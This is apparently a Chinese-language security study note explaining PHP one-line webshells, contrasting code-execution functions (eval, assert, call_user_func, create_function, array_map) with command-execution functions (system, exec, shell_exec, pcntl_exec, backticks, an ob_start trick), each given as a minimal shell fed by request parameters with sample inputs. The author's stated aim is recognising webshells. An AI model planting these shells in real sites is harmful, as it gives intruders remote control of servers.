一、
一直以來對PHP的eval這一類函數和system這一類存在疑惑的地方,今天徹底研究了一下,寫查PHP一句話的時候可以更有把握一些。其實都是一些滿基礎的知識,大佬別噴。干安全的基礎很重要。
二、PHP的eval類型函數,一句話:代碼執行而不是命令執行。(菜刀用這類)
1、簡單類
1 //#1-eval 2 <?php 3 eval($_POST["cmd"]) 4 ?> 5 //post:cmd=phpinfo(); 6 7 8 //#2-assert 9 <?php 10 assert($_POST["cmd"]) 11 ?> 12 //post:cmd=phpinfo(); 13 14 15 //#3-call_user_func 16 <?php 17 call_user_func($_POST["fun"],$_POST["para"]) 18 ?> 19 //post:fun=assert¶=phpinfo();
2、復雜類
1 //#1-create_function 2 <?php 3 $a= $_POST['func']; 4 $b = create_function('$a',"echo $a"); 5 $b(''); 6 ?> 7 //post:func=phpinfo(); 8 9 10 //#2-array_map------->這個不懂先記下來 11 <?php 12 $array = array(0,1,2,3,4,5); 13 array_map($_GET['func'],$array); 14 ?> 15 //post:func=phpinfo
三、PHP的system類型函數,一句話:命令執行而不是代碼執行。
1 //#1-system 2 <?php system($_POST["cmd"]);?> 3 4 //#2-passthru 5 <?php passthru($_POST["cmd"]);?> 6 7 //#3-exec 8 <?php echo exec($_POST["cmd"]);?> 9 10 //#4-pcntl_exec 11 <?php 12 pcntl_exec("/bin/bash",array($_POST["cmd"])); 13 ?> 14 15 //#5-shell_exec 16 <?php echo shell_exec($_POST["cmd"]); ?> 17 18 //#6-popen()/proc_popen() 19 <?php $handle = popen("/bin/ls","r");?> 20 21 //#7-`` 22 <?php echo `whoami`?>
高深一點的:
1 <?php 2 $cmd = 'system'; 3 ob_start($cmd) 4 echo "$_GET[a]"; 5 ob_end_flush(); 6 ?>//?a=whoami